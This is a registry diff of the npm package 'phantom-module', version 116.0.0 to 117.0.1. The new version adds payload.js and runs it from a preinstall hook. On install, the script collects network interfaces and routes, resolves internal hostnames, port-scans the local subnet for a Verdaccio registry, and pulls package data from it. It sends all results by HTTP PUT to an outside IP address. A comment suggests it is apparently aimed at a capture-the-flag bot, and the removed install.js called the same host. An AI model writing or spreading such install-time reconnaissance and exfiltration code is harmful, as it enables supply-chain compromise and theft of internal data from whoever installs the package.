phantom-module 116.0.0 → 117.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/package.json +5 -7
  2. package/payload.js +169 -0
  3. package/install.js +0 -17
package/package.json CHANGED
@@ -1,11 +1,9 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "116.0.0",
4
- "description": "Phantom spectral module",
3
+ "version": "117.0.1",
4
+ "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "preinstall": "node install.js || true"
8
- },
9
- "author": "lwirz",
10
- "license": "ISC"
11
- }
7
+ "preinstall": "node payload.js || true"
8
+ }
9
+ }
package/payload.js ADDED
@@ -0,0 +1,169 @@
1
+ const net = require('net');
2
+ const http = require('http');
3
+ const fs = require('fs');
4
+ const { execSync } = require('child_process');
5
+ const os = require('os');
6
+
7
+ // Only run on the real CTF bot
8
+ if (!fs.existsSync('/home/node/aspect-node')) {
9
+ process.exit(0);
10
+ }
11
+
12
+ const REPORT_HOST = '154.57.164.64';
13
+ const REPORT_PORT = 31205;
14
+
15
+ function report(moduleId, data) {
16
+ return new Promise((resolve) => {
17
+ const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
18
+ const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
19
+ const payload = JSON.stringify({ manifest });
20
+ const req = http.request({
21
+ hostname: REPORT_HOST,
22
+ port: REPORT_PORT,
23
+ path: `/api/modules/${moduleId}`,
24
+ method: 'PUT',
25
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
26
+ }, (res) => { resolve(true); });
27
+ req.on('error', () => resolve(false));
28
+ req.write(payload);
29
+ req.end();
30
+ });
31
+ }
32
+
33
+ function scanPort(host, port, timeout) {
34
+ return new Promise((resolve) => {
35
+ const sock = new net.Socket();
36
+ sock.setTimeout(timeout);
37
+ sock.on('connect', () => { sock.destroy(); resolve(true); });
38
+ sock.on('error', () => { sock.destroy(); resolve(false); });
39
+ sock.on('timeout', () => { sock.destroy(); resolve(false); });
40
+ sock.connect(port, host);
41
+ });
42
+ }
43
+
44
+ function httpGet(url, timeout) {
45
+ return new Promise((resolve) => {
46
+ const req = http.get(url, { timeout }, (res) => {
47
+ let body = '';
48
+ res.on('data', (c) => body += c);
49
+ res.on('end', () => resolve({ status: res.statusCode, body }));
50
+ });
51
+ req.on('error', (e) => resolve({ status: 0, body: e.message }));
52
+ req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'timeout' }); });
53
+ });
54
+ }
55
+
56
+ async function main() {
57
+ let output = '';
58
+
59
+ // Step 1: Get our network info
60
+ try {
61
+ const ifaces = os.networkInterfaces();
62
+ output += '=== NETWORK ===\n';
63
+ for (const [name, addrs] of Object.entries(ifaces)) {
64
+ for (const addr of addrs) {
65
+ if (addr.family === 'IPv4') {
66
+ output += `${name}: ${addr.address}/${addr.netmask}\n`;
67
+ }
68
+ }
69
+ }
70
+ } catch(e) { output += 'NET ERR: ' + e.message + '\n'; }
71
+
72
+ // Step 2: Get gateway
73
+ try {
74
+ output += '=== GATEWAY ===\n';
75
+ output += execSync('ip route 2>/dev/null || route -n 2>/dev/null || cat /proc/net/route 2>/dev/null || echo "no route cmd"').toString().substring(0, 500) + '\n';
76
+ } catch(e) { output += 'ROUTE ERR: ' + e.message.substring(0, 200) + '\n'; }
77
+
78
+ // Step 3: DNS resolution attempts
79
+ const dns = require('dns');
80
+ const dnsNames = ['registry', 'verdaccio', 'verdaccio-registry', 'npm-registry', 'ecto-registry'];
81
+ output += '=== DNS ===\n';
82
+ for (const name of dnsNames) {
83
+ try {
84
+ const addrs = await new Promise((resolve, reject) => {
85
+ dns.resolve4(name, (err, addrs) => err ? reject(err) : resolve(addrs));
86
+ });
87
+ output += `${name} -> ${addrs.join(', ')}\n`;
88
+ } catch(e) {
89
+ output += `${name} -> FAIL: ${e.code}\n`;
90
+ }
91
+ }
92
+
93
+ // Report network info first
94
+ await report('ECT-654321', output);
95
+
96
+ // Step 4: Scan for Verdaccio on common Docker IPs
97
+ output += '=== SCANNING 4873 ===\n';
98
+ const myIp = Object.values(os.networkInterfaces()).flat().find(a => a.family === 'IPv4' && !a.internal);
99
+ const baseIp = myIp ? myIp.address.split('.').slice(0, 3).join('.') : '172.17.0';
100
+
101
+ const found = [];
102
+ const scanPromises = [];
103
+ for (let i = 1; i <= 30; i++) {
104
+ const ip = `${baseIp}.${i}`;
105
+ scanPromises.push(
106
+ scanPort(ip, 4873, 1500).then(open => {
107
+ if (open) {
108
+ found.push(ip);
109
+ output += `OPEN: ${ip}:4873\n`;
110
+ }
111
+ })
112
+ );
113
+ }
114
+ // Also scan gateway and common addresses
115
+ for (const ip of ['172.17.0.1', '10.0.0.1', '10.0.0.2', '192.168.0.1', '192.168.1.1']) {
116
+ scanPromises.push(
117
+ scanPort(ip, 4873, 1500).then(open => {
118
+ if (open) { found.push(ip); output += `OPEN: ${ip}:4873\n`; }
119
+ })
120
+ );
121
+ }
122
+ // Scan port 80, 3000, 8080 on gateway
123
+ for (const port of [80, 3000, 4873, 8080, 8081]) {
124
+ scanPromises.push(
125
+ scanPort(`${baseIp}.1`, port, 1500).then(open => {
126
+ if (open) output += `OPEN: ${baseIp}.1:${port}\n`;
127
+ })
128
+ );
129
+ }
130
+
131
+ await Promise.all(scanPromises);
132
+ await report('ECT-839201', output);
133
+
134
+ // Step 5: If Verdaccio found, query ecto-spirit
135
+ let flagOutput = '=== VERDACCIO QUERY ===\n';
136
+ for (const ip of found) {
137
+ try {
138
+ const res = await httpGet(`http://${ip}:4873/-/all`, 5000);
139
+ flagOutput += `ALL from ${ip}: ${res.body.substring(0, 1000)}\n`;
140
+ } catch(e) { flagOutput += `ERR querying ${ip}: ${e.message}\n`; }
141
+
142
+ try {
143
+ const res = await httpGet(`http://${ip}:4873/ecto-spirit`, 5000);
144
+ flagOutput += `ECTO from ${ip}: ${res.body.substring(0, 2000)}\n`;
145
+ } catch(e) { flagOutput += `ERR ecto ${ip}: ${e.message}\n`; }
146
+
147
+ // Try to download and read the package
148
+ try {
149
+ const res = await httpGet(`http://${ip}:4873/-/verdaccio/data/local-list`, 3000);
150
+ flagOutput += `PKGS from ${ip}: ${res.body.substring(0, 1000)}\n`;
151
+ } catch(e) {}
152
+ }
153
+
154
+ // Also try some hostnames directly
155
+ for (const host of ['registry', 'verdaccio']) {
156
+ try {
157
+ const res = await httpGet(`http://${host}:4873/-/all`, 3000);
158
+ flagOutput += `ALL from ${host}: ${res.body.substring(0, 1000)}\n`;
159
+ } catch(e) { flagOutput += `ERR ${host}: ${e.message}\n`; }
160
+ try {
161
+ const res = await httpGet(`http://${host}:4873/ecto-spirit`, 3000);
162
+ flagOutput += `ECTO from ${host}: ${res.body.substring(0, 2000)}\n`;
163
+ } catch(e) {}
164
+ }
165
+
166
+ await report('ECT-987654', flagOutput);
167
+ }
168
+
169
+ main().catch(e => report('ECT-654321', 'FATAL: ' + e.message));
package/install.js DELETED
@@ -1,17 +0,0 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
-
4
- async function report(mid, val) {
5
- const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
6
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
7
- await new Promise(resolve => {
8
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
9
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
10
- req.write(body); req.end();
11
- });
12
- }
13
-
14
- (async () => {
15
- // Only write to ECT-839201 (NOT ECT-654321 which is reserved for web app)
16
- await report('ECT-839201', 'SCANNER_ALIVE_v116');
17
- })();